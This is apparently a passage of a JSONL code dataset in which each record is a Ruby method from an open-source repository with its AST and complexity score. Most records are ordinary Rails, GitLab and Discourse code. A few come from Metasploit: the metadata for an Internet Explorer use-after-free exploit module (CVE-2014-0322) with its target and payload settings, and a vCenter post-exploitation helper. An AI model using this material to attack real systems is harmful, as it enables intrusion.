children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"fred\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attr_string\",{\"type\":\"str\",\"children\":[\"created_at:datetime,id:integer,item_id:integer,title:string,updated_at:datetime\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bob_blob_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMESPACE\"]}]},{\"type\":\"str\",\"children\":[\"blob:Item:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_hash\",{\"type\":\"lvar\",\"children\":[\"attr_string\"]}]}]},{\"type\":\"str\",\"children\":[\":1\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@joe_blob_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMESPACE\"]}]},{\"type\":\"str\",\"children\":[\"blob:Item:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_hash\",{\"type\":\"lvar\",\"children\":[\"attr_string\"]}]}]},{\"type\":\"str\",\"children\":[\":2\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fred_blob_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMESPACE\"]}]},{\"type\":\"str\",\"children\":[\"blob:Item:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_hash\",{\"type\":\"lvar\",\"children\":[\"attr_string\"]}]}]},{\"type\":\"str\",\"children\":[\":3\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tenth_blob_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMESPACE\"]}]},{\"type\":\"str\",\"children\":[\"blob:Item:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_hash\",{\"type\":\"lvar\",\"children\":[\"attr_string\"]}]}]},{\"type\":\"str\",\"children\":[\":10\"]}]}]}]}]}","id":"0fec4ee0-0be5-4cba-992b-28d7d8a0d2bb"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb","start_line":16,"raw_source":"def attr_internal_accessor(*attrs)\n    attr_internal_reader(*attrs)\n    attr_internal_writer(*attrs)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attr_internal_accessor\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_internal_reader\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"attr_internal_writer\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}]}","id":"7d9f5f5b-810d-4ab2-ab31-c6cee4d6826d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/params_to_query_service.rb","start_line":106,"raw_source":"def parse_sorting_from_json(json)\n    JSON.parse(json).map do |(attribute, order)|\n      [convert_attribute(attribute), order]\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_sorting_from_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"json\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"order\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convert_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]}","id":"e22a4b45-93d0-42a6-90d2-21375b0df963"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":1027,"raw_source":"def setup\n    super\n    @controller = BasicController.new\n    @controller.config.relative_url_root = \"/collaboration/hieraki\"\n\n    @request = Struct.new(:protocol, :base_url) do\n      def send_early_hints(links); end\n    end.new(\"gopher://\", \"gopher://www.example.com\")\n    @controller.request = @request\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"config\"]},\"relative_url_root=\",{\"type\":\"str\",\"children\":[\"/collaboration/hieraki\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"sym\",\"children\":[\"base_url\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"send_early_hints\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"links\"]}]},null]}]},\"new\",{\"type\":\"str\",\"children\":[\"gopher://\"]},{\"type\":\"str\",\"children\":[\"gopher://www.example.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"request=\",{\"type\":\"ivar\",\"children\":[\"@request\"]}]}]}]}","id":"51cf8fe3-2a46-4ebb-bfc2-3c92890a168a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/trust_level3_requirements.rb","start_line":129,"raw_source":"def topics_viewed_query\n    TopicViewItem\n      .where(user_id: @user.id)\n      .joins(:topic)\n      .where.not(topics: { archetype: Archetype.private_message })\n      .select(\"topic_id\")\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"topics_viewed_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicViewItem\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"topic\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]}]}]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"topic_id\"]}]}]}","id":"002de040-355d-48c9-b3c1-b7fb1bafd2e2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free\",\n        'Description' => %q{\n          This module exploits an use after free condition on Internet Explorer as used in the wild\n          as part of \"Operation SnowMan\" in February 2014. The module uses Flash Player 12 in order to\n          bypass ASLR and DEP.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Unknown', # Vulnerability discovery and Exploit in the wild\n          'Jean-Jamil Khalife', # Exploit\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2014-0322' ],\n          [ 'MSB', 'MS14-012' ],\n          [ 'BID', '65551' ],\n          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],\n          [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]\n        ],\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Payload' => {\n          'Space' => 960,\n          'DisableNops' => true,\n          'PrependEncoder' => stack_adjust\n        },\n        'BrowserRequirements' => {\n          :source => /script|headers/i,\n          :os_name => 'Windows 7',\n          :ua_name => Msf::HttpClients::IE,\n          :ua_ver => '10.0',\n          :mshtml_build => lambda { |ver| ver.to_i < 16843 },\n          :flash => /^1[23]\\./\n        },\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n          'Retries' => false\n        },\n        'Targets' => [\n          [ 'Windows 7 SP1 / IE 10 / FP 12', {} ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-02-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":10.08,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an use after free condition on Internet Explorer as used in the wild\\n\"]},{\"type\":\"str\",\"children\":[\"          as part of \\\"Operation SnowMan\\\" in February 2014. The module uses Flash Player 12 in order to\\n\"]},{\"type\":\"str\",\"children\":[\"          bypass ASLR and DEP.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Jean-Jamil Khalife\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-0322\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS14-012\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"65551\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://hdwsec.fr/blog/CVE-2014-0322.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[960]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependEncoder\"]},{\"type\":\"send\",\"children\":[null,\"stack_adjust\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BrowserRequirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"script|headers\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"str\",\"children\":[\"Windows 7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HttpClients\"]},\"IE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_ver\"]},{\"type\":\"str\",\"children\":[\"10.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mshtml_build\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[16843]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^1[23]\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Retries\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / IE 10 / FP 12\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-02-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"16014090-c626-4c33-89f3-f956a4ac106e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ms_dtyp.rb","start_line":191,"raw_source":"def rid\n      sub_authority.last\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_authority\"]},\"last\"]}]}","id":"799fbe2d-10f2-4af4-be2b-1c1e7a8e894f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipelines/add_job_service.rb","start_line":16,"raw_source":"def execute!(job, &block)\n        assign_pipeline_attributes(job)\n\n        in_lock(\"ci:pipelines:#{pipeline.id}:add-job\", ttl: LOCK_TIMEOUT, sleep_sec: LOCK_SLEEP, retries: LOCK_RETRIES) do\n          Ci::Pipeline.transaction do\n            yield(job)\n\n            job.update_older_statuses_retried!\n          end\n        end\n\n        ServiceResponse.success(payload: { job: job })\n      rescue StateMachines::InvalidTransition, Ci::CreateCommitStatusService::InvalidState => e\n        ServiceResponse.error(message: e.message, payload: { job: job })\n      rescue StandardError => e\n        Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)\n        # TODO: https://gitlab.com/gitlab-org/gitlab/-/work_items/556736\n        ServiceResponse.error(message: e.message, payload: { job: job })\n      end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_pipeline_attributes\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_lock\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ci:pipelines:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":add-job\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ttl\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_TIMEOUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_sec\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_SLEEP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retries\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_RETRIES\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"update_older_statuses_retried!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateMachines\"]},\"InvalidTransition\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CreateCommitStatusService\"]},\"InvalidState\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}]}]}]},null]}]}","id":"3c053215-e826-47ca-82ef-6a471571944e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/vcenter/vcenter.rb","start_line":403,"raw_source":"def get_platform_service_controller(vc_type_management = false, host = 'localhost')\n          return nil unless command_exists? vmafd_bin\n\n          unless vc_type_management\n            return 'localhost'\n          end\n\n          lookup_service = cmd_exec(\"#{vmafd_bin} get-ls-location --server-name #{host}\")\n          ls_host = URI.parse(lookup_service).host.downcase\n          print_warning(\"External Platform Service Controller Detected: #{ls_host}\")\n          ls_host\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_platform_service_controller\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"vc_type_management\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"host\",{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"send\",\"children\":[null,\"vmafd_bin\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc_type_management\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lookup_service\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vmafd_bin\"]}]},{\"type\":\"str\",\"children\":[\" get-ls-location --server-name \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ls_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"lookup_service\"]}]},\"host\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"External Platform Service Controller Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ls_host\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ls_host\"]}]}]}","id":"97bf235d-6501-45b9-a63d-b2cf26e222b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/sidekiq_metrics.rb","start_line":27,"raw_source":"def queue_metrics_from_shard\n        ::Gitlab::SidekiqConfig.routing_queues.each_with_object({}) do |queue_name, hash|\n          queue = Sidekiq::Queue.new(queue_name)\n          hash[queue.name] = {\n            backlog: queue.size,\n            latency: queue.latency.to_i\n          }\n        end\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_metrics_from_shard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqConfig\"]},\"routing_queues\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue_name\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Queue\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"queue_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backlog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"latency\"]},\"to_i\"]}]}]}]}]}]}]}","id":"ec43bec0-2bc9-47fe-8a88-dbd73aae2509"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/denormalized_has_one_test.rb","start_line":6,"raw_source":"def setup\n    super\n    PolymorphicRecord.include(IdentityCache::WithoutPrimaryIndex)\n    Item.cache_has_one(:associated, embed: true)\n    Item.cache_index(:title, unique: true)\n    @cached_attribute = Item.cache_indexes.last\n    @record = Item.new(title: \"foo\")\n    @record.associated = AssociatedRecord.new(name: \"bar\")\n    @record.save\n\n    @record.reload\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PolymorphicRecord\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"WithoutPrimaryIndex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"cache_has_one\",{\"type\":\"sym\",\"children\":[\"associated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"cache_index\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cached_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"cache_indexes\"]},\"last\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"ty